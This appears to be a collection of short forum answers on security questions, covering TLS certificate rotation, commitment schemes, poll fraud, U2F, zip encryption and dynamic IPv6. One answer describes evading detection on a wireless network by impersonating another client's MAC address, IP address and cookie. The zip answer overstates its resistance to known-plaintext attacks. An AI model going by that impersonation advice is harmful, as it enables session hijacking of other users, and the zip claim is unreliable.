What is the purpose of frequently rotating TLS certificates without changing underlying keys?

One big advantage is removing the need for revocation in the event of a compromise.

The "typical" way to do this is publishing a certificate revocation list (CRL) or using the OSCP protocol in the event of a compromise to revoke certificates. However, the CRL or OSCP check is incredibly easy to bypass. An attacker in a position to perform a MITM attack can simply block a client from communicating with the server where the CRL is hosted and the client will simply happily go about its business. This is necessary because of common situations like captive portals that work over HTTPS yet blocks all other traffic, including traffic to CRL servers.

Short lived certificates have the advantage that in the event of a compromise, the compromised certificate will only work for a very limited period of time until the certificate expires, therefore limiting the damage that can be caused.

Adam Langley has written extensively on the subject if further readings is required.


Proof of information having been created before it is released

As usual there is already a wide range of solutions for this particular problem.

Abstracted this is called a commitment scheme. WikiPedia cites Oded Goldreich with this quote for a short explanation:

  [A commitment scheme] allows one to commit to a chosen value (or
  chosen statement) while keeping it hidden to others, with the ability
  to reveal the committed value later.

There are various forms or implementations of this: one commonly used (for instance by WikiLeaks) are so called pre-commitment hashes. These hashes are checksums (md5, sha256, ..) of encrypted files. Individuals can download the files but cannot open them until the distributor of the file gives out the password. This way the distributor is - as Goldreich says - able to commit to a value while keeping it hidden.


I know where I downloaded a virus, should I report it somewhere

Most antivirus companies have submission forms for malware where you can upload a sample: e.g. https://www.gdatasoftware.com/securitylabs

But in the end it really doesn't make a big difference, there is millions of different types of malware out there and AV companies will get most of their samples through automated collection through their products.

Unless you found the next Stuxnet (https://en.wikipedia.org/wiki/Stuxnet) reporting your malware sample isn't worth your time.


How do online polls ensure only one vote per person?

There's nothing you can do online to prevent one person to vote multiple times.

When you do a HTTP request, the website knows:

Your IP address. This can be spoofed easily, through the use of proxies or VPNs.
Some HTTP headers that are sent by your browser. They can also be spoofed.
All information that CSS / JavaScript / Flash / Java applets can collect are client-side, so they can be spoofed with a little bit of effort.

For example, Tor is a browser which helps people to protect their anonymity online, by providing protections enabled by default against most browser-fingerprint vectors.

A captcha won't prevent a user to vote twice. It may prevent a computer to automatically vote, but the user is very likely to be able to pass the captcha twice if it was ever able to do once.

Solutions exist if you ask the user to give some information about its physical identity, but they're not practical for online polls.


stay anonymous in wireless network even if you are part of it

Remaining anonymous on a wireless network doesn't mean the operators won't detect your existence in the network. It's essential to understand the core concept of what is going on here: you're asking the access point (AP) to give you data, the AP will give you said data, it will be possible to detect that someone is using the connection.

To remain anonymous you should either constantly change your MAC address; IP address; and clear your cookies (Captive Portal software can identify you using a cookie in your browser), or you can impersonate a legitimate client by using their MAC address; IP address (in case it was assigned statically); and the identifying cookie in the browser.

Please note that it's not common for the regular access points to have Captive Portal software, especially in a home or small office environment. So it's relatively safe to ignore the cookie part.


First of all, I greatly recommend this article, which provides knowledge about the basics of some of the more common attacks, but also covers the pass-the-hash attack quite admirably. Now, it sounds to me like you are afraid that someone will (remotely) obtain administrator access to your computer and dump your hashes into their Lsass. You do not need to worry about this. If an attacker has admin. access to your computer, he could (and probably would prefer to) employ a keylogger or another such program to not only find out that password, but all of your other usernames and passwords. This could be mitigated to a process (a favorite seems to be explorer.exe) and run directly from your physical memory, thus making it undetectable to AV. Really, the most plausible way to stop someone from gaining any sort of remote access to your computer is to keep all of your programs up-to-date and to get a good AV program (Kaspersky, Avast, and AVG have good reputations). If I misinterpreted your statement, please respond and I will try to get back to you.


No, and they are not saying that they can prevent the phishing of passwords. They are saying that phishing the password alone will not give the attacker access to your account.

You can enter your Gmail password in your question above and U2F will not prevent that. In the same way, a phishing site can gather credentials and U2F is not involved at any point.

The goal is that to successfully get into the account, one needs the password and the U2F device. The password is still compromised, but the account is protected against anyone who doesn't also have the physical key fob.


Password Protected Zip: if attacker had one file, can use it to decrypt all files?

That would be a form of know plain-text attack. Zip uses AES these days to encrypt files and AES is not susceptible to these type of attacks.

Please refer to: Compute the AES-encryption key given the plaintext and its ciphertext?


Safenet iKey 4000 RSA key pair generation in FIPS 140-2 compliant mode

The difference between generating a KeyPair with CKA_TOKEN set as true and false is that when it is set to true, the KeyPair that is generated by the hardware token is persisted (it exists on the token even after you logout of the session). If it is set to false, it is still generated on the hardware and not outside the token, it is just not persisted (it exists only during the active session, when you logout, it is gone).


Experiencing injection / brute force attacks

Considering you are already running modsecurity you can consider integrating it with a HIDS like OSSEC. It will automatically ban IP addresses that are detected as attempting injection attacks.


My IPv6 is changing a lot, exactly three times in last three days

You most likely have a dynamic IP address. These are often used because it makes managing IP addresses easier for an ISP. Some ISPs will charge extra for a static address which does not change. This is common for businesses or customers who wish to host a website over their connection.

  all accounts that I keep login on my browser have disconnected

Many websites will automatically log you out if your IP address changes for security reasons. This is normal behavior and is to be expected when using a connection with a dynamic IP assigned.

  The actual IP is listed by Google as a IP from a nearby neighborhood.

It is possible to geolocate IP addresses, but the accuracy can vary considerably. Sometimes it's accurate to within a few miles, but other times it doesn't even get the city right. Occasionally, the entire country is wrong. If your home IP address is showing an incorrect location, this is normal.

  Is this normal? May I be worried?

This is completely normal and there is nothing to be worried about. If these frequent IP changes are causing you trouble, you may want to contact your ISP and inquire about upgrading to a static address.